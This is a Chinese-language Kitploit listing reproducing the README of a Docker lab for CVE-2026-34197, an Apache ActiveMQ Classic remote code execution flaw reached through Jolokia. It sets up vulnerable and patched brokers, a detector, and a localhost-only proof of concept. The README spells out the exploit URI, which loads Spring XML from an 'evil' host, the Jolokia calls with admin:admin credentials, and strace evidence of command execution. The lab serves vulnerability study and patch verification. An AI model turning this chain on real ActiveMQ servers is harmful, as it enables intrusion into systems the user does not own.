Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-34197-Lab — Docker 实验环境,演示 CVE-2026-34197,即 Apache ActiveMQ Classic 通过 Jolokia 实现的远程代码执行(RCE)。包含一个安全检测器和一个仅限本地的 PoC(使用固定命令),用于对比存在漏洞的版本与已修补的版本。 | Kitploit
工具/GitHubGitHub/rootdirective-sec/cve-2026-34197-lab
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubrootdirective-sec/cve-2026-34197-lab

CVE-2026-34197-Lab

Docker 实验环境,演示 CVE-2026-34197,即 Apache ActiveMQ Classic 通过 Jolokia 实现的远程代码执行(RCE)。包含一个安全检测器和一个仅限本地的 PoC(使用固定命令),用于对比存在漏洞的版本与已修补的版本。

查看仓库
3个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-34197 — Apache ActiveMQ Classic Jolokia RCE 实验环境

概述

本仓库是一个用于研究 CVE-2026-34197 的本地 Docker 实验环境,该漏洞是 Apache ActiveMQ Classic 中可通过 Jolokia JMX-HTTP API 触发的远程代码执行问题。

该实验环境并排比较两个 ActiveMQ Classic 实例:

服务版本用途URL
vuln5.19.3存在漏洞的目标http://127.0.0.1:8081
patched5.19.4已修补的对比目标http://127.0.0.1:8082

仓库包含两个验证脚本:

脚本用途安全模型
poc/detect.py授权检测器仅使用 HTTP;不进行利用
poc/poc.py仅限本地的 RCE 路径验证固定命令:id; whoami; sleep 5

执行证据由操作员使用 strace 等进程观察工具单独验证。


漏洞摘要

CVE-2026-34197 影响 Apache ActiveMQ Classic 的某些版本,在这些版本中,经过身份验证的用户可以使用 Jolokia API 调用代理管理操作,并通过精心构造的 brokerConfig=xbean:http://... URI 使代理 JVM 加载攻击者控制的 Spring XML。

本实验环境中演示的漏洞利用流程为:

root@kitploit:~
Jolokia /api/jolokia/
  -> Broker MBean 操作
  -> addNetworkConnector(java.lang.String)
  -> static:(vm://...?brokerConfig=xbean:http://...)
  -> 远程 Spring XML 获取
  -> ProcessBuilder bean 初始化
  -> 固定的本地验证命令

已修补的服务会在获取 XML 之前阻止此路径,并返回类似以下错误:

root@kitploit:~
VM scheme is not allowed

仓库结构

root@kitploit:~
.
├── docker-compose.yml
├── vuln
│   └── Dockerfile
├── patched
│   └── Dockerfile
├── poc
│   ├── detect.py
│   └── poc.py
├── images
│   └── strace.png
├── README.md
└── .gitignore

文件角色

  • docker-compose.yml 运行存在漏洞和已修补的 ActiveMQ 服务。
  • vuln/Dockerfile 构建 Apache ActiveMQ Classic 5.19.3。
  • patched/Dockerfile 构建 Apache ActiveMQ Classic 5.19.4。
  • poc/detect.py 检查 Jolokia 暴露情况、ActiveMQ 版本以及 Broker MBean 可见性。
  • poc/poc.py 使用固定的良性命令触发仅限本地的 RCE 路径。
  • images/strace.png 包含来自存在漏洞服务的本地进程观察证据。
  • .gitignore 排除本地工件、Python 缓存文件、虚拟环境、日志和机密信息。

安全边界

本仓库仅用于本地实验环境和授权的安全验证。

PoC 被刻意限制:

  • 拒绝非本地目标。
  • 不接受任意命令。
  • 仅使用固定命令:id; whoami; sleep 5。
  • 不通过回调收集命令输出。
  • 依赖操作员单独控制的观察手段,如 strace。

poc.py 允许的本地目标:

root@kitploit:~
127.0.0.1
localhost
::1

请勿将本仓库用于您不拥有或未经明确许可测试的系统。


实验环境搭建

构建并启动实验环境

root@kitploit:~
docker compose down -v
docker compose build
docker compose up -d

检查服务状态:

root@kitploit:~
docker compose ps

预期服务:

root@kitploit:~
cve-2026-34197-vuln      Up / healthy
cve-2026-34197-patched   Up / healthy

验证 Jolokia 版本端点

检查存在漏洞的服务:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  http://127.0.0.1:8081/api/jolokia/version | python3 -m json.tool

检查已修补的服务:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8082' \
  http://127.0.0.1:8082/api/jolokia/version | python3 -m json.tool

预期版本:

root@kitploit:~
8081 -> ActiveMQ 5.19.3
8082 -> ActiveMQ 5.19.4

检测器用法

poc/detect.py 是安全的默认脚本。它不会利用目标。

它检查:

  1. /api/jolokia/version 是否可访问;
  2. 是否需要身份验证;
  3. 产品是否为 Apache ActiveMQ;
  4. ActiveMQ 版本;
  5. Broker MBean 是否可通过 Jolokia 搜索可见;
  6. 版本是否属于受影响范围。

对两个实验服务运行检测器

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install requests

python poc/detect.py \
  -t http://127.0.0.1:8081 \
  -t http://127.0.0.1:8082 \
  -u admin \
  -p admin \
  -v

预期结果:

root@kitploit:~
http://127.0.0.1:8081
Assessment: LIKELY_VULNERABLE
Risk: HIGH
ActiveMQ version: 5.19.3
Broker MBean: VISIBLE

http://127.0.0.1:8082
Assessment: NOT_AFFECTED_BY_VERSION
Risk: LOW
ActiveMQ version: 5.19.4
Broker MBean: VISIBLE

检测器中什么算作存在漏洞?

当满足以下条件时,检测器将目标标记为 LIKELY_VULNERABLE:

root@kitploit:~
Jolokia 可访问
+
ActiveMQ 版本属于受影响范围

本实验环境使用的受影响范围:

root@kitploit:~
5.x < 5.19.4
6.x < 6.2.3

Broker MBean 可见性用作置信度证据,因为利用路径依赖于代理管理操作。

检测器不会声称 CONFIRMED_RCE。


仅限本地的 RCE 路径 PoC

poc/poc.py 在本地 Docker 实验环境中演示 RCE 路径。

它在主机上启动一个临时 HTTP 服务器,并在每次运行的唯一路径上提供 Spring XML 载荷:

root@kitploit:~
/evil-<nonce>.xml

然后通过 Jolokia 调用 ActiveMQ Broker MBean:

root@kitploit:~
addNetworkConnector(java.lang.String)

使用精心构造的发现 URI:

root@kitploit:~
static:(vm://cve34197<nonce>?brokerConfig=xbean:http://host.docker.internal:9100/evil-<nonce>.xml)

存在漏洞的代理会获取此 XML。已修补的代理会在获取 XML 之前阻止 vm:// 传输方案。

重要行为

在存在漏洞的运行之后,创建的 NetworkConnector 可能会重试获取旧的 XML 路径。脚本使用每次运行的 nonce 并跟踪 matches_current_run 以避免误报。

仅当命中匹配以下路径时才计为当前运行:

root@kitploit:~
/evil-<current-nonce>.xml

对存在漏洞的服务运行 PoC

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

预期输出:

root@kitploit:~
[+] Broker fetched the Spring XML payload for this run.
Matched path: /evil-<nonce>.xml
matches_current_run: true

这确认 ActiveMQ 5.19.3 可以通过 Jolokia 管理的代理路径被诱导获取攻击者控制的 Spring XML。


对已修补的服务运行 PoC

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8082 \
  -u admin \
  -p admin

预期输出:

root@kitploit:~
VM scheme is not allowed
[-] No XML fetch observed for this run.

如果出现来自较早存在漏洞运行的命中,它们应显示:

root@kitploit:~
"matches_current_run": false

这些不计为已修补服务的成功。


使用 strace 确认命令执行

PoC 脚本不收集命令输出。要确认命令执行,请观察存在漏洞容器内的进程创建。

以 root 身份进入存在漏洞的容器:

root@kitploit:~
docker exec -it --user root cve-2026-34197-vuln bash

查找 Java 进程:

root@kitploit:~
pgrep -af java

将 strace 附加到 Java PID:

root@kitploit:~
strace -f -e execve -p <JAVA_PID>

在另一个终端中,对存在漏洞的服务运行 PoC:

root@kitploit:~
python poc/poc.py \
  --target http://127.0.0.1:8081 \
  -u admin \
  -p admin

预期的 strace 证据:

root@kitploit:~
execve("/bin/sh", ["/bin/sh", "-c", "id; whoami; sleep 5"], ...)
execve("/usr/bin/id", ["id"], ...)
execve("/usr/bin/whoami", ["whoami"], ...)
execve("/usr/bin/sleep", ["sleep", "5"], ...)

这是代理 JVM 执行了固定验证命令的 OS 级证据。

strace 命令执行证据


运行之间的清理

PoC 在触发之前会尝试移除默认的 NetworkConnector 名称 NC。这使重复的实验运行保持可预测性。

手动清理:

root@kitploit:~
curl -sS \
  -u admin:admin \
  -H 'Origin: http://127.0.0.1:8081' \
  -H 'Content-Type: application/json' \
  -X POST \
  http://127.0.0.1:8081/api/jolokia/ \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }' | python3 -m json.tool

或重启实验环境:

root@kitploit:~
docker compose restart vuln patched

预期实验结果

测试存在漏洞的 5.19.3已修补的 5.19.4
detect.pyLIKELY_VULNERABLENOT_AFFECTED_BY_VERSION
Jolokia 访问可通过身份验证访问可通过身份验证访问
Broker MBean可见可见
poc.py XML 获取是否
已修补的阻止特征不适用VM scheme is not allowed
strace 命令证据/bin/sh -c 'id; whoami; sleep 5'不预期

参考

  • Apache ActiveMQ 安全公告 — CVE-2026-34197: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • NVD — CVE-2026-34197: https://nvd.nist.gov/vuln/detail/CVE-2026-34197
  • CVE.org — CVE-2026-34197 记录: https://www.cve.org/CVERecord?id=CVE-2026-34197
  • GitHub 安全公告数据库 — GHSA-rxpj-7qvf-xv32: https://github.com/advisories/GHSA-rxpj-7qvf-xv32
  • Horizon3.ai — CVE-2026-34197 ActiveMQ 通过 Jolokia API 的 RCE: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Apache ActiveMQ Classic 文档 — 代理网络: https://activemq.apache.org/components/classic/documentation/networks-of-brokers
  • Apache ActiveMQ Classic JMX BrokerView API 文档: https://activemq.apache.org/components/classic/documentation/maven/apidocs/org/apache/activemq/broker/jmx/BrokerView.html
下载工具